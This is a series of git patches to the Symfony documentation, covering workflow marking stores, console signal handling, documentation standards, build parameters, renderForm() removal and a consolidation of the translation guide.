     A single state marking store uses a ``string`` to store the data. A multiple
-    state marking store uses an ``array`` to store the data.
+    state marking store uses an ``array`` to store the data. On both cases if no
+    state marking store is defined you have to return ``null``. So in the above
+    example should be defined a return type like ``App\Entity\BlogPost::getCurrentPlace(): ?array``
+    or like ``App\Entity\BlogPost::getCurrentPlace(): ?string``.
 
 .. tip::
 

From a9cce3c7090fa7f4b5c46c716d8d9344cf96abd1 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Tue, 24 Jan 2023 17:40:13 +0100
Subject: [PATCH 4176/7107] Tweak

---
 workflow.rst | 8 ++++----
 1 file changed, 4 insertions(+), 4 deletions(-)

diff --git a/workflow.rst b/workflow.rst
index 05c4a7dd385..0deb02df50b 100644
--- a/workflow.rst
+++ b/workflow.rst
@@ -194,10 +194,10 @@ The configured property will be used via its implemented getter/setter methods b
     preferable to not configure it.
 
     A single state marking store uses a ``string`` to store the data. A multiple
-    state marking store uses an ``array`` to store the data. On both cases if no
-    state marking store is defined you have to return ``null``. So in the above
-    example should be defined a return type like ``App\Entity\BlogPost::getCurrentPlace(): ?array``
-    or like ``App\Entity\BlogPost::getCurrentPlace(): ?string``.
+    state marking store uses an ``array`` to store the data. If no state marking
+    store is defined you have to return ``null`` in both cases (e.g. the above
+    example should define a return type like ``App\Entity\BlogPost::getCurrentPlace(): ?array``
+    or like ``App\Entity\BlogPost::getCurrentPlace(): ?string``).
 
 .. tip::
 

From aeb0ccc9c396051856d1159a8121e9c6a6b6491f Mon Sep 17 00:00:00 2001
From: Alexandre Daubois <alex.daubois@gmail.com>
Date: Tue, 24 Jan 2023 21:31:30 +0100
Subject: [PATCH 4177/7107] [Console] Remove exit() call in last SignalHandler

---
 components/console/events.rst | 16 ++++++++++++++--
 1 file changed, 14 insertions(+), 2 deletions(-)

diff --git a/components/console/events.rst b/components/console/events.rst
index f41c50d3bec..9f5caf67f15 100644
--- a/components/console/events.rst
+++ b/components/console/events.rst
@@ -174,10 +174,10 @@ Listeners receive a
     use Symfony\Component\Console\Event\ConsoleSignalEvent;
 
     $dispatcher->addListener(ConsoleEvents::SIGNAL, function (ConsoleSignalEvent $event) {
-       
+
         // gets the signal number
         $signal = $event->getHandlingSignal();
-        
+
         if (\SIGINT === $signal) {
             echo "bye bye!";
         }
@@ -218,6 +218,18 @@ handle signals themselves. To do so, implement the
         }
     }
 
+It is your responsibility to handle signals that are relevant to you (even
+``SIGKILL``, ``SIGTERM``, etc). This allows you to ignore them or do tasks
+before terminating the process for example. This behavior is intended, as
+it leaves more flexibility to developers to handle each type of signal the
+way they want to.
+
+.. deprecated:: 6.3
+
+    In Symfony versions previous to 6.3, all signals (except from ``SIGUSR1`` and
+    ``SIGUSR2``) would terminate the script by calling ``exit(0)``. From Symfony 6.3,
+    no more signal is automatically calling ``exit(0)``.
+
 .. _`reserved exit codes`: https://www.tldp.org/LDP/abs/html/exitcodes.html
 .. _`Signals`: https://en.wikipedia.org/wiki/Signal_(IPC)
 .. _`constants of the PCNTL PHP extension`: https://www.php.net/manual/en/pcntl.constants.php

From 5f53fb108a3bda9d0fa69885125a0e536c7a73a7 Mon Sep 17 00:00:00 2001
From: Alexandre Daubois <alex.daubois@gmail.com>
Date: Wed, 25 Jan 2023 10:25:46 +0100
Subject: [PATCH 4178/7107] [Standards] Add `Attribute` format and formats for
 Code Examples

---
 contributing/documentation/standards.rst | 7 ++++---
 1 file changed, 4 insertions(+), 3 deletions(-)

diff --git a/contributing/documentation/standards.rst b/contributing/documentation/standards.rst
index 8e266f68cab..b28cecb133b 100644
--- a/contributing/documentation/standards.rst
+++ b/contributing/documentation/standards.rst
@@ -88,10 +88,11 @@ Configuration examples should show all supported formats using
 (and their orders) are:
 
 * **Configuration** (including services): YAML, XML, PHP
-* **Routing**: Annotations, YAML, XML, PHP
-* **Validation**: Annotations, YAML, XML, PHP
-* **Doctrine Mapping**: Annotations, YAML, XML, PHP
+* **Routing**: Attributes, Annotations, YAML, XML, PHP
+* **Validation**: Attributes, Annotations, YAML, XML, PHP
+* **Doctrine Mapping**: Attributes, Annotations, YAML, XML, PHP
 * **Translation**: XML, YAML, PHP
+* **Code Examples** (if applicable): PHP Symfony, PHP Standalone
 
 Example
 ~~~~~~~

From 1888db45adc535c81bd33cf98fe041994e436c63 Mon Sep 17 00:00:00 2001
From: Alexandre Daubois <alex.daubois@gmail.com>
Date: Wed, 25 Jan 2023 10:44:25 +0100
Subject: [PATCH 4179/7107] [Standards] Freeze contractions decision in
 documentation standards

---
 contributing/documentation/standards.rst | 4 ++++
 1 file changed, 4 insertions(+)

diff --git a/contributing/documentation/standards.rst b/contributing/documentation/standards.rst
index 8e266f68cab..ba7a1b0c9e0 100644
--- a/contributing/documentation/standards.rst
+++ b/contributing/documentation/standards.rst
@@ -190,6 +190,10 @@ In addition, documentation follows these rules:
   * simply
   * trivial
 
+* Contractions are allowed to be used across the documentation. This means
+  you're allowed to write ``you would`` as well as ``you'd``, ``it is`` as
+  well as ``it's``, etc.
+
 .. _`the Sphinx documentation`: https://www.sphinx-doc.org/en/master/usage/restructuredtext/basics.html#literal-blocks
 .. _`Twig Coding Standards`: https://twig.symfony.com/doc/3.x/coding_standards.html
 .. _`reserved by the IANA`: https://tools.ietf.org/html/rfc2606#section-3

From cb1c863e07f3cd42032d96f81f700db832b776e2 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Wed, 25 Jan 2023 12:10:31 +0100
Subject: [PATCH 4180/7107] Tweaks

---
 components/console/events.rst | 14 ++++++--------
 1 file changed, 6 insertions(+), 8 deletions(-)

diff --git a/components/console/events.rst b/components/console/events.rst
index 9f5caf67f15..87b44f56407 100644
--- a/components/console/events.rst
+++ b/components/console/events.rst
@@ -218,17 +218,15 @@ handle signals themselves. To do so, implement the
         }
     }
 
-It is your responsibility to handle signals that are relevant to you (even
-``SIGKILL``, ``SIGTERM``, etc). This allows you to ignore them or do tasks
-before terminating the process for example. This behavior is intended, as
-it leaves more flexibility to developers to handle each type of signal the
-way they want to.
+Symfony doesn't handle any signal received by the command (not even ``SIGKILL``,
+``SIGTERM``, etc). This behavior is intended, as it gives you the flexibility to
+handle all signals e.g. to do some tasks before terminating the command.
 
 .. deprecated:: 6.3
 
-    In Symfony versions previous to 6.3, all signals (except from ``SIGUSR1`` and
-    ``SIGUSR2``) would terminate the script by calling ``exit(0)``. From Symfony 6.3,
-    no more signal is automatically calling ``exit(0)``.
+    In Symfony versions previous to 6.3, all signals (except ``SIGUSR1`` and
+    ``SIGUSR2``) would terminate the script by calling ``exit(0)``. Starting
+    from Symfony 6.3, no more signal is automatically calling ``exit(0)``.
 
 .. _`reserved exit codes`: https://www.tldp.org/LDP/abs/html/exitcodes.html
 .. _`Signals`: https://en.wikipedia.org/wiki/Signal_(IPC)

From 13296be79c6cbfb25c394d492900032e6e8453de Mon Sep 17 00:00:00 2001
From: Roman Glukhenko <grn-it@yandex.ru>
Date: Wed, 25 Jan 2023 17:30:20 +0400
Subject: [PATCH 4181/7107] [Configuration] fixed list markup

---
 configuration.rst | 3 +--
 1 file changed, 1 insertion(+), 2 deletions(-)

diff --git a/configuration.rst b/configuration.rst
index 49f3ac3b0c2..e447d21c772 100644
--- a/configuration.rst
+++ b/configuration.rst
@@ -20,8 +20,7 @@ directory, which has this default structure:
     │  └─ services.yaml
 
 * The ``routes.yaml`` file defines the :doc:`routing configuration </routing>`;
-* The ``services.yaml`` file configures the services of the
-:doc:`service container </service_container>`;
+* The ``services.yaml`` file configures the services of the :doc:`service container </service_container>`;
 * The ``bundles.php`` file enables/disables packages in your application;
 * The ``config/packages/`` directory stores the configuration of every package
   installed in your application.

From a5c70a8934c91023287d162adfe95f025312f7b3 Mon Sep 17 00:00:00 2001
From: Alexandre Daubois <alex.daubois@gmail.com>
Date: Thu, 26 Jan 2023 13:26:44 +0100
Subject: [PATCH 4182/7107] [DependencyInjection] Introduce build parameters

---
 configuration.rst | 13 +++++++++++++
 1 file changed, 13 insertions(+)

diff --git a/configuration.rst b/configuration.rst
index 581e55ae118..98fe99c86d6 100644
--- a/configuration.rst
+++ b/configuration.rst
@@ -376,6 +376,19 @@ Configuration parameters are very common in Symfony applications. Some packages
 even define their own parameters (e.g. when installing the translation package,
 a new ``locale`` parameter is added to the ``config/services.yaml`` file).
 
+.. tip::
+
+    When working with :ref:`Compiler Passes </service_container/compiler_passes>`,
+    you have the possibility to declare parameters that will only be available
+    during the container compilation. These parameters will be automatically removed
+    from the container once its build is done. To declare parameters only
+    available at compile-time, pre-prend their name with a dot ``.`` (for example,
+    ``.mailer.transport``).
+
+.. versionadded:: 6.3
+
+    Parameters only available at compile time were introduced in Symfony 6.3.
+
 .. seealso::
 
     Later in this article you can read how to

From a41876f37be948f7ac73666dae8296b86de216b9 Mon Sep 17 00:00:00 2001
From: Alexandre Daubois <alex.daubois@gmail.com>
Date: Thu, 26 Jan 2023 13:36:36 +0100
Subject: [PATCH 4183/7107] [Misc] Fixed remaining `HEAD`

---
 configuration.rst                   | 17 -----------------
 contributing/code/pull_requests.rst |  4 ----
 2 files changed, 21 deletions(-)

diff --git a/configuration.rst b/configuration.rst
index 97c1df43e6b..75802149c45 100644
--- a/configuration.rst
+++ b/configuration.rst
@@ -106,23 +106,6 @@ readable. These are the main advantages and disadvantages of each format:
             }
         }
 
-<<<<<<< HEAD
-=======
-There isn't any practical difference between formats. In fact, Symfony
-transforms and caches all of them into PHP before running the application, so
-there's not even any performance difference between them.
-
-YAML is used by default when installing packages because it's concise and very
-readable. These are the main advantages and disadvantages of each format:
-
-* **YAML**: simple, clean and readable, but not all IDEs support autocompletion
-  and validation for it. :ref:`Learn the YAML syntax <yaml-format>`;
-* **XML**: autocompleted/validated by most IDEs and is parsed natively by PHP,
-  but sometimes it generates configuration considered too verbose. `Learn the XML syntax`_;
-* **PHP**: very powerful and it allows you to create dynamic configuration with
-  arrays or a :ref:`ConfigBuilder <config-config-builder>`.
-
->>>>>>> 5.4
 Importing Configuration Files
 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
 
diff --git a/contributing/code/pull_requests.rst b/contributing/code/pull_requests.rst
index 289e6dbfa5a..fe8d9c5c1e0 100644
--- a/contributing/code/pull_requests.rst
+++ b/contributing/code/pull_requests.rst
@@ -505,11 +505,7 @@ PR. Before re-submitting the PR, rebase with ``upstream/6.x`` or
 
 .. code-block:: terminal
 
-<<<<<<< HEAD
-    $ git rebase -f upstream/6.1
-=======
     $ git rebase -f upstream/6.x
->>>>>>> 5.4
     $ git push --force origin BRANCH_NAME
 
 .. note::

From 59b62f07decd9e960cf78754978d901e3fda1b67 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Thu, 26 Jan 2023 13:39:46 +0100
Subject: [PATCH 4184/7107] Minor tweak

---
 contributing/documentation/standards.rst | 5 ++---
 1 file changed, 2 insertions(+), 3 deletions(-)

diff --git a/contributing/documentation/standards.rst b/contributing/documentation/standards.rst
index ba7a1b0c9e0..ee4b7b4c580 100644
--- a/contributing/documentation/standards.rst
+++ b/contributing/documentation/standards.rst
@@ -190,9 +190,8 @@ In addition, documentation follows these rules:
   * simply
   * trivial
 
-* Contractions are allowed to be used across the documentation. This means
-  you're allowed to write ``you would`` as well as ``you'd``, ``it is`` as
-  well as ``it's``, etc.
+* **Contractions** are allowed: e.g. you can write ``you would`` as well as ``you'd``,
+  ``it is`` as well as ``it's``, etc.
 
 .. _`the Sphinx documentation`: https://www.sphinx-doc.org/en/master/usage/restructuredtext/basics.html#literal-blocks
 .. _`Twig Coding Standards`: https://twig.symfony.com/doc/3.x/coding_standards.html

From a2df57552bb4a212b56d5e97a9a0e376eabc154b Mon Sep 17 00:00:00 2001
From: hbengamra <ha.ben.gamra@gmail.com>
Date: Mon, 23 Jan 2023 22:00:53 +0100
Subject: [PATCH 4185/7107] Update tags.rst

Optimize getTransport() function
---
 service_container/tags.rst | 6 +-----
 1 file changed, 1 insertion(+), 5 deletions(-)

diff --git a/service_container/tags.rst b/service_container/tags.rst
index e34a01a7739..6d0e71539b4 100644
--- a/service_container/tags.rst
+++ b/service_container/tags.rst
@@ -405,11 +405,7 @@ To begin with, change the ``TransportChain`` class::
 
         public function getTransport($alias): ?\MailerTransport
         {
-            if (array_key_exists($alias, $this->transports)) {
-                return $this->transports[$alias];
-            }
-
-            return null;
+            return  return $this->transports[$alias] ?? null;
         }
     }
 

From 174db698b92877ef92b704c78317c1e6806d21e4 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Thu, 26 Jan 2023 13:51:01 +0100
Subject: [PATCH 4186/7107] Minor fix

---
 service_container/tags.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/service_container/tags.rst b/service_container/tags.rst
index 6d0e71539b4..0097d059c76 100644
--- a/service_container/tags.rst
+++ b/service_container/tags.rst
@@ -405,7 +405,7 @@ To begin with, change the ``TransportChain`` class::
 
         public function getTransport($alias): ?\MailerTransport
         {
-            return  return $this->transports[$alias] ?? null;
+            return $this->transports[$alias] ?? null;
         }
     }
 

From be05e9c03aedb0b245be7c3075add31c12e09c84 Mon Sep 17 00:00:00 2001
From: Fabien Potencier <fabien@potencier.org>
Date: Fri, 27 Jan 2023 12:10:32 +0100
Subject: [PATCH 4187/7107] Replace warning with caution for consistency

---
 reference/constraints/Callback.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/reference/constraints/Callback.rst b/reference/constraints/Callback.rst
index bf9f14b29e4..e3f68c2b788 100644
--- a/reference/constraints/Callback.rst
+++ b/reference/constraints/Callback.rst
@@ -278,7 +278,7 @@ constructor of the Callback constraint::
         }
     }
 
-.. warning::
+.. caution::
 
     Using a ``Closure`` together with annotation configuration will disable the
     annotation cache for that class/property/method because ``Closure`` cannot

From e7c3639fd81271b867be1ec74dd24ef489c0bbf2 Mon Sep 17 00:00:00 2001
From: Nicolas Grekas <nicolas.grekas@gmail.com>
Date: Fri, 27 Jan 2023 15:52:33 +0100
Subject: [PATCH 4188/7107] Remove mentions of renderForm()

---
 controller/upload_file.rst         | 2 +-
 form/direct_submit.rst             | 2 +-
 form/dynamic_form_modification.rst | 2 +-
 form/form_collections.rst          | 2 +-
 4 files changed, 4 insertions(+), 4 deletions(-)

diff --git a/controller/upload_file.rst b/controller/upload_file.rst
index 360965c93ed..c1ac6d4e29d 100644
--- a/controller/upload_file.rst
+++ b/controller/upload_file.rst
@@ -170,7 +170,7 @@ Finally, you need to update the code of the controller that handles the form::
                 return $this->redirectToRoute('app_product_list');
             }
 
-            return $this->renderForm('product/new.html.twig', [
+            return $this->render('product/new.html.twig', [
                 'form' => $form,
             ]);
         }
diff --git a/form/direct_submit.rst b/form/direct_submit.rst
index a7c623dad19..1afc35611ea 100644
--- a/form/direct_submit.rst
+++ b/form/direct_submit.rst
@@ -29,7 +29,7 @@ control over when exactly your form is submitted and what data is passed to it::
             }
         }
 
-        return $this->renderForm('task/new.html.twig', [
+        return $this->render('task/new.html.twig', [
             'form' => $form,
         ]);
     }
diff --git a/form/dynamic_form_modification.rst b/form/dynamic_form_modification.rst
index 7f51249b731..5866ded610d 100644
--- a/form/dynamic_form_modification.rst
+++ b/form/dynamic_form_modification.rst
@@ -534,7 +534,7 @@ your application. Assume that you have a sport meetup creation controller::
                 // ... save the meetup, redirect etc.
             }
 
-            return $this->renderForm('meetup/create.html.twig', [
+            return $this->render('meetup/create.html.twig', [
                 'form' => $form,
             ]);
         }
diff --git a/form/form_collections.rst b/form/form_collections.rst
index 03858d21e15..37ed44b2f6a 100644
--- a/form/form_collections.rst
+++ b/form/form_collections.rst
@@ -164,7 +164,7 @@ In your controller, you'll create a new form from the ``TaskType``::
                 // ... do your form processing, like saving the Task and Tag entities
             }
 
-            return $this->renderForm('task/new.html.twig', [
+            return $this->render('task/new.html.twig', [
                 'form' => $form,
             ]);
         }

From 60b5460ec32ed7a56d7c22fff53aaed1469a40c0 Mon Sep 17 00:00:00 2001
From: Fabien Potencier <fabien@potencier.org>
Date: Wed, 25 Jan 2023 11:11:24 +0100
Subject: [PATCH 4189/7107] [Translation] Translation docs consolidation

---
 _build/redirection_map |   3 +
 translation.rst        | 679 +++++++++++++++++++++++++++++++++--------
 translation/debug.rst  | 214 -------------
 translation/lint.rst   |  62 ----
 translation/locale.rst | 204 -------------
 5 files changed, 563 insertions(+), 599 deletions(-)
 delete mode 100644 translation/debug.rst
 delete mode 100644 translation/lint.rst
 delete mode 100644 translation/locale.rst

diff --git a/_build/redirection_map b/_build/redirection_map
index c58e85b6c23..0001aef3369 100644
--- a/_build/redirection_map
+++ b/_build/redirection_map
@@ -456,6 +456,9 @@
 /templating/inheritance /templates#template-inheritance-and-layouts
 /testing/doctrine /testing/database
 /translation/templates /translation#translation-in-templates
+/translation/debug /translation#translation-debug
+/translation/lint /translation#translation-lint
+/translation/locale /translation#translation-locale
 /doctrine/lifecycle_callbacks /doctrine/events
 /doctrine/event_listeners_subscribers /doctrine/events
 /doctrine/common_extensions /doctrine
diff --git a/translation.rst b/translation.rst
index b11136dffb6..d0c8c984a56 100644
--- a/translation.rst
+++ b/translation.rst
@@ -26,6 +26,11 @@ into the language of the user::
     *language* code, an underscore (``_``), then the `ISO 3166-1 alpha-2`_
     *country* code (e.g. ``fr_FR`` for French/France) is recommended.
 
+Translations can be organized into groups, called **domains**. By default, all
+messages use the default ``messages`` domain::
+
+    echo $translator->trans('Hello World', domain: 'messages');
+
 The translation process has several steps:
 
 #. :ref:`Enable and configure <translation-configuration>` Symfony's
@@ -103,19 +108,17 @@ are located:
             ;
         };
 
-The locale used in translations is the one stored on the request. This is
-typically set via a ``_locale`` attribute on your routes (see :ref:`translation-locale-url`).
-
 .. _translation-basic:
 
 Basic Translation
 -----------------
 
-Translation of text is done through the  ``translator`` service
-(:class:`Symfony\\Component\\Translation\\Translator`). To translate a block
-of text (called a *message*), use the
+Translation of text is done through the ``translator`` service
+(:class:`Symfony\\Component\\Translation\\Translator`). To translate a block of
+text (called a *message*), use the
 :method:`Symfony\\Component\\Translation\\Translator::trans` method. Suppose,
-for example, that you're translating a static message from inside a controller::
+for example, that you're translating a static message from inside a
+controller::
 
     // ...
     use Symfony\Contracts\Translation\TranslatorInterface;
@@ -251,25 +254,19 @@ The Translation Process
 To actually translate the message, Symfony uses the following process when
 using the ``trans()`` method:
 
-#. The ``locale`` of the current user, which is stored on the request is determined;
+#. The ``locale`` of the current user, which is stored on the request is
+   determined; this is typically set via a ``_locale`` attribute on your routes
+   (see :ref:`translation-locale-url`);
 
-#. A catalog (e.g. big collection) of translated messages is loaded from translation
-   resources defined for the ``locale`` (e.g. ``fr_FR``). Messages from the
-   :ref:`fallback locale <translation-fallback>` are also loaded and
-   added to the catalog if they don't already exist. The end result is a large
-   "dictionary" of translations. This catalog is cached in production to
-   minimize performance impact.
+#. A catalog of translated messages is loaded from translation resources
+   defined for the ``locale`` (e.g. ``fr_FR``). Messages from the
+   :ref:`fallback locale <translation-fallback>` are also loaded and added to
+   the catalog if they don't already exist. The end result is a large
+   "dictionary" of translations.
 
 #. If the message is located in the catalog, the translation is returned. If
    not, the translator returns the original message.
 
-.. tip::
-
-    When translating strings that are not in the default domain (``messages``),
-    you must specify the domain as the third argument of ``trans()``::
-
-        $translator->trans('Symfony is great', [], 'admin');
-
 .. _message-placeholders:
 .. _pluralization:
 
@@ -297,22 +294,6 @@ To manage these situations, Symfony follows the `ICU MessageFormat`_ syntax by
 using PHP's :phpclass:`MessageFormatter` class. Read more about this in
 :doc:`/translation/message_format`.
 
-.. tip::
-
-    If you don't use the ICU MessageFormat syntax in your translation files,
-    pass a parameter named "%count%" to select the best plural form of the message:
-
-    .. code-block:: twig
-
-       {{ message|trans({'%name%': '...', '%count%': 1}, 'app') }}
-
-    The ``message`` variable must include all the different versions of this
-    message based on the value of the ``count`` parameter. For example:
-
-    .. code-block:: text
-
-        {0}%name% has no apples|{1}%name% has one apple|]1,Inf[ %name% has %count% apples
-
 .. _translatable-objects:
 
 Translatable Objects
@@ -362,6 +343,41 @@ Translations in Templates
 Most of the time, translation occurs in templates. Symfony provides native
 support for both Twig and PHP templates.
 
+.. _translation-filters:
+
+Using Twig Filters
+~~~~~~~~~~~~~~~~~~
+
+The ``trans`` filter can be used to translate *variable texts* and complex expressions:
+
+.. code-block:: twig
+
+    {{ message|trans }}
+
+    {{ message|trans({'%name%': 'Fabien'}, 'app') }}
+
+.. tip::
+
+    You can set the translation domain for an entire Twig template with a single tag:
+
+    .. code-block:: twig
+
+       {% trans_default_domain 'app' %}
+
+    Note that this only influences the current template, not any "included"
+    template (in order to avoid side effects).
+
+By default, the translated messages are output escaped; apply the ``raw``
+filter after the translation filter to avoid the automatic escaping:
+
+.. code-block:: html+twig
+
+    {% set message = '<h3>foo</h3>' %}
+
+    {# strings and variables translated via a filter are escaped by default #}
+    {{ message|trans|raw }}
+    {{ '<h3>bar</h3>'|trans|raw }}
+
 .. _translation-tags:
 
 Using Twig Tags
@@ -392,50 +408,11 @@ You can also specify the message domain and pass some additional variables:
 
     {% trans with {'%name%': 'Fabien'} from 'app' into 'fr' %}Hello %name%{% endtrans %}
 
-.. _translation-filters:
-
-Using Twig Filters
-~~~~~~~~~~~~~~~~~~
-
-The ``trans`` filter can be used to translate *variable texts* and complex expressions:
-
-.. code-block:: twig
-
-    {{ message|trans }}
-
-    {{ message|trans({'%name%': 'Fabien'}, 'app') }}
-
-.. tip::
-
-    Using the translation tags or filters have the same effect, but with
-    one subtle difference: automatic output escaping is only applied to
-    translations using a filter. In other words, if you need to be sure
-    that your translated message is *not* output escaped, you must apply
-    the ``raw`` filter after the translation filter:
-
-    .. code-block:: html+twig
-
-        {# text translated between tags is never escaped #}
-        {% trans %}
-            <h3>foo</h3>
-        {% endtrans %}
-
-        {% set message = '<h3>foo</h3>' %}
-
-        {# strings and variables translated via a filter are escaped by default #}
-        {{ message|trans|raw }}
-        {{ '<h3>bar</h3>'|trans|raw }}
-
-.. tip::
-
-    You can set the translation domain for an entire Twig template with a single tag:
-
-    .. code-block:: twig
-
-       {% trans_default_domain 'app' %}
+.. caution::
 
-    Note that this only influences the current template, not any "included"
-    template (in order to avoid side effects).
+Using the translation tag has the same effect as the filter, but with one
+major difference: automatic output escaping is **not** applied to translations
+using a tag.
 
 Forcing the Translator Locale
 -----------------------------
@@ -444,17 +421,12 @@ When translating a message, the translator uses the specified locale or the
 ``fallback`` locale if necessary. You can also manually specify the locale to
 use for translation::
 
-    $translator->trans(
-        'Symfony is great',
-        [],
-        'messages',
-        'fr_FR'
-    );
+    $translator->trans('Symfony is great', locale: 'fr_FR');
 
 Extracting Translation Contents and Updating Catalogs Automatically
 -------------------------------------------------------------------
 
-The most time-consuming tasks when translating an application is to extract all
+The most time-consuming task when translating an application is to extract all
 the template contents to be translated and to keep all the translation files in
 sync. Symfony includes a command called ``translation:extract`` that helps you
 with these tasks:
@@ -513,10 +485,7 @@ priority message files.
 The filename of the translation files is also important: each message file
 must be named according to the following path: ``domain.locale.loader``:
 
-* **domain**: Domains are a way to organize messages into groups. Unless
-  parts of the application are explicitly separated from each other, it is
-  recommended to only use the default ``messages`` domain (e.g.
-  ``messages.en.yaml``).
+* **domain**: The translation domain;
 
 * **locale**: The locale that the translations are for (e.g. ``en_GB``, ``en``, etc);
 
@@ -598,10 +567,15 @@ if you're generating translations with specialized programs or teams.
 
 .. note::
 
-    You can also store translations in a database, or any other storage by
-    providing a custom class implementing the
-    :class:`Symfony\\Component\\Translation\\Loader\\LoaderInterface` interface.
-    See the :ref:`dic-tags-translation-loader` tag for more information.
+    You can also store translations in a database; it can be handled by
+    Doctrine through the `Translatable Extension`_ or the `Translatable
+    Behavior`_ (PHP 5.4+). For more information, see the documentation for
+    these libraries.
+
+    For any other storage, you need to provide a custom class implementing the
+    :class:`Symfony\\Component\\Translation\\Loader\\LoaderInterface`
+    interface. See the :ref:`dic-tags-translation-loader` tag for more
+    information.
 
 .. _translation-providers:
 
@@ -617,9 +591,9 @@ them the new contents to translate frequently and merge the results back in the
 application.
 
 Instead of doing this manually, Symfony provides integration with several
-third-party translation services (e.g. Crowdin or Lokalise). You can upload and
-download (called "push" and "pull") translations to/from these services and
-merge the results automatically in the application.
+third-party translation services. You can upload and download (called "push"
+and "pull") translations to/from these services and merge the results
+automatically in the application.
 
 Installing and Configuring a Third Party Provider
 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
@@ -666,7 +640,7 @@ Loco (localise.biz)    loco://API_KEY@default
 Lokalise               lokalise://PROJECT_ID:API_KEY@default
 =====================  ==========================================================
 
-To enable a translation provider, add the correct DSN in your ``.env`` file and
+To enable a translation provider, customize the DSN in your ``.env`` file and
 configure the ``providers`` option:
 
 .. configuration-block::
@@ -724,10 +698,12 @@ configure the ``providers`` option:
 
 .. tip::
 
-    If you use Lokalise as provider and a locale format following the `ISO 639-1`_ (e.g. "en" or "fr"),
-    you have to set the `Custom Language Name setting`_ in Lokalise for each of your locales,
-    in order to override the default value (which follow the `ISO 639-1`_ succeeded by a sub-code
-    in capital letters that specifies the national variety (e.g. "GB" or "US" according to `ISO 3166-1 alpha-2`_)).
+    If you use Lokalise as a provider and a locale format following the `ISO
+    639-1`_ (e.g. "en" or "fr"), you have to set the `Custom Language Name
+    setting`_ in Lokalise for each of your locales, in order to override the
+    default value (which follow the `ISO 639-1`_ succeeded by a sub-code in
+    capital letters that specifies the national variety (e.g. "GB" or "US"
+    according to `ISO 3166-1 alpha-2`_)).
 
 Pushing and Pulling Translations
 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
@@ -770,11 +746,212 @@ now use the following commands to push (upload) and pull (download) translations
     # check out the command help to see its options (format, domains, locales, intl-icu, etc.)
     $ php bin/console translation:pull --help
 
+.. _translation-locale:
+
+.. index::
+    single: Translation; Locale
+
 Handling the User's Locale
 --------------------------
 
-Translating happens based on the user's locale. Read :doc:`/translation/locale`
-to learn more about how to handle it.
+Translating happens based on the user's locale. The locale of the current user
+is stored in the request and is accessible via the ``Request`` object::
+
+    use Symfony\Component\HttpFoundation\Request;
+
+    public function index(Request $request)
+    {
+        $locale = $request->getLocale();
+    }
+
+To set the user's locale, you may want to create a custom event listener so
+that it's set before any other parts of the system (i.e. the translator) need
+it::
+
+        public function onKernelRequest(RequestEvent $event)
+        {
+            $request = $event->getRequest();
+
+            // some logic to determine the $locale
+            $request->setLocale($locale);
+        }
+
+.. note::
+
+    The custom listener must be called **before** ``LocaleListener``, which
+    initializes the locale based on the current request. To do so, set your
+    listener priority to a higher value than ``LocaleListener`` priority (which
+    you can obtain by running the ``debug:event kernel.request`` command).
+
+Read :ref:`locale-sticky-session` for more information on making the user's
+locale "sticky" to their session.
+
+.. note::
+
+    Setting the locale using ``$request->setLocale()`` in the controller is
+    too late to affect the translator. Either set the locale via a listener
+    (like above), the URL (see next) or call ``setLocale()`` directly on the
+    ``translator`` service.
+
+See the :ref:`translation-locale-url` section below about setting the
+locale via routing.
+
+.. _translation-locale-url:
+
+The Locale and the URL
+~~~~~~~~~~~~~~~~~~~~~~
+
+Since you can store the locale of the user in the session, it may be tempting
+to use the same URL to display a resource in different languages based on the
+user's locale. For example, ``http://www.example.com/contact`` could show
+content in English for one user and French for another user. Unfortunately,
+this violates a fundamental rule of the Web: that a particular URL returns the
+same resource regardless of the user. To further muddy the problem, which
+version of the content would be indexed by search engines?
+
+A better policy is to include the locale in the URL using the
+:ref:`special _locale parameter <routing-locale-parameter>`:
+
+.. configuration-block::
+
+    .. code-block:: php-annotations
+
+        // src/Controller/ContactController.php
+        namespace App\Controller;
+
+        // ...
+        class ContactController extends AbstractController
+        {
+            /**
+             * @Route(
+             *     "/{_locale}/contact",
+             *     name="contact",
+             *     requirements={
+             *         "_locale": "en|fr|de",
+             *     }
+             * )
+             */
+            public function contact()
+            {
+            }
+        }
+        
+    .. code-block:: php-attributes
+
+        // src/Controller/ContactController.php
+        namespace App\Controller;
+
+        // ...
+        class ContactController extends AbstractController
+        {
+            #[Route(
+                path: '/{_locale}/contact',
+                name: 'contact',
+                requirements: [
+                    '_locale' => 'en|fr|de',
+                ],
+            )]
+            public function contact()
+            {
+            }
+        }
+
+    .. code-block:: yaml
+
+        # config/routes.yaml
+        contact:
+            path:       /{_locale}/contact
+            controller: App\Controller\ContactController::index
+            requirements:
+                _locale: en|fr|de
+
+    .. code-block:: xml
+
+        <!-- config/routes.xml -->
+        <?xml version="1.0" encoding="UTF-8" ?>
+        <routes xmlns="http://symfony.com/schema/routing"
+            xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
+            xsi:schemaLocation="http://symfony.com/schema/routing
+                https://symfony.com/schema/routing/routing-1.0.xsd">
+
+            <route id="contact" path="/{_locale}/contact">
+                controller="App\Controller\ContactController::index">
+                <requirement key="_locale">en|fr|de</requirement>
+            </route>
+        </routes>
+
+    .. code-block:: php
+
+        // config/routes.php
+        use App\Controller\ContactController;
+        use Symfony\Component\Routing\Loader\Configurator\RoutingConfigurator;
+
+        return function (RoutingConfigurator $routes) {
+            $routes->add('contact', '/{_locale}/contact')
+                ->controller([ContactController::class, 'index'])
+                ->requirements([
+                    '_locale' => 'en|fr|de',
+                ])
+            ;
+        };
+
+When using the special ``_locale`` parameter in a route, the matched locale
+is *automatically set on the Request* and can be retrieved via the
+:method:`Symfony\\Component\\HttpFoundation\\Request::getLocale` method. In
+other words, if a user visits the URI ``/fr/contact``, the locale ``fr`` will
+automatically be set as the locale for the current request.
+
+You can now use the locale to create routes to other translated pages in your
+application.
+
